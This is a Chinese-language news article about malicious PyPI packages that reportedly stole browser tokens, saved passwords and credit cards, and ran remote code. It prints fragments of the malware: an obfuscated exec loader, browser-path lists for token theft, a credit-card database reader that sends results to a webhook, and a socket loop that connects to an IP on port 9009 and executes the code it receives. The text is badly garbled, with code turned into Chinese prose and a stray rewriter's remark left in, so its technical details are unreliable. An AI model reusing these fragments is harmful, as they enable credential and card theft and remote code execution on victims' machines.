程序员真的要小心了PyPI 软件库问题真是越来越严重。在今年6月出现挖矿病毒之后, PyPI最近又一次出现了一批恶意软件。JFrog安全团队发觉, PyPI库里头有好些软件存有窃取信用卡信息、远程注入代码的行径, 并且这些软件总共被下拉拽三万回。这些被发现问题的恶意软件分别是在程序员完成这些软件的安装之后, 它们会静悄悄地于后台读取浏览器文件夹, 进而将信用卡信息以及密码窃取走。它们是如何窃取信用卡信息的安全研究人员发现上述所有软件包都使用 编码进行伪装。比如上述的 ,magic ...love ...god ... ...joy \x72\x6f\x74\x31\x33信任等于, 执行反斜杠x6d反斜杠x61反斜杠x67反斜杠x69反斜杠x63, 加上, 执行反斜杠x63反斜杠x6f反斜杠x64反斜杠x65反斜杠x63反斜杠x73点反斜杠。以下是改写后的: (执行((.(执行(\x74\x72\x75\x73\x74 )),,执行)))。这样的方法, 能够骗过某些简单的分析工具然而, 经过细致的研究, 能够发觉其中存在的问题。以上 8 个软件包分别包含了以下不同种类的恶意行为1、窃取 帐户身份验证 token用于检验身份 token 的, 读取器的代码, 是极为简易的, 它仅仅是, 由一组硬编码构成的路径, 且是如此这般的local os.() os.()paths {: \\, : \\, PTB: \\,’: 本地的, 加上, ‘\\\\\\用户数据\\’。Opera, 加上, \\Opera \\Opera 。“勇敢”: 本地加上“\\Users\\勇敢-\\用户数据\\”。本地加上, 三个反斜杠User Data的路径, 再加上一个反斜杠。随着代码流程的推进, 代码将会依照指定的几种浏览器的路径, 去读取其中所有涵盖.log以及.ldb后缀的文件, 随后代码会展开针对身份验证token的查找操作最终查找所获得的结果要实现通过特定方式上传到特定相关之处。2、窃取浏览器存储的密码或信用卡数据当你于浏览器里输入密码或者信用卡数据之际, 通常都会弹出如下窗口, 用以提示用户保存这些信息。虽然这为用户带来便利, 往后无需一次次输入密码, 然而不足之处在于, 这些信息有可能被恶意软件获取。在这种情况下恶意软件会尝试从 窃取信用卡信息def cs(): () os. os.sep \右斜杠, Local, 双反斜杠, User Data, 双反斜杠, Web Data。.copy2(,.db)conn .(.db) conn.()try:.( * FROM )for r in .(): r r dpw(, ) r rhook.send(CARD-NAME::M:str()Y:str()\n**10\n), 你提供的原句似乎存在一些格式和内容不完整的问题, 这可能导致改写后的句子也有些混乱, 但按照要求进行了改写。这些信息和前一种情况一样会通过 上传。3、收集和受感染PC相关的信息, 信息包含IP地址, 再者是计算机名称, 还包括用户名。除此以外, 这些软件还会收集许可证密钥方面的信息, 以及版本, 还有屏幕截图。4、远程代码注入和, 这两款恶意软件, 会试着连接至某个IP地址, 在9009端口上, 而后执行, 中所拥有的任何, 代码。其中混淆的代码被安全人员解码成如下片段,,times.(2,...)s.((172.16.60.80,9009))l.(I,s.recv(4))print (l)ds.recv(l)print (d)while len(d)!1:ds.recv(l-len(d))print (d)exec(d,{s:s})然而, 当下安全人员并不清楚此IP地址究竟是什么, 再或者, 其上是否存在恶意软件, , 这还处于未知状态。中毒后如何挽救要是发觉自身电脑已然安装了像 这样的恶意软件, 那么就得查看浏览器究竟保存了哪些密码, 此些密码极有可能已经外泄, 务必要尽快予以修改。针对Edge浏览器使用者, 需于地址栏内键入edge:///, 进而查看已保存的密码。倘若你是浏览器用户, 那么应当在地址之处输入 :/// , 并且要在付款方式的那一栏下面去查看所保存的信用卡信息。还有能够让人稍微放松一些的情况是, PyPI的维护工作人员已经把那些恶意的软件包给删除掉了。即便现在 PyPI 软件库处于安全状态, 然而鉴于当下这些开源软件库的维护情形, 往后极有可能还会碰到更多攻击。今年, PyPI 库出现安全问题的情形并非仅出现一次。攻击者具备运用简单混淆技术去引入恶意软件的能力, 这一情况表明开发人员务必要时刻保持警惕, 时时刻刻不能放松。JFrog首席技术官讲, “这属于一种系统性威胁, 要靠软件存储库的维护者以及开发人员于多个层面积极予以解决。”。
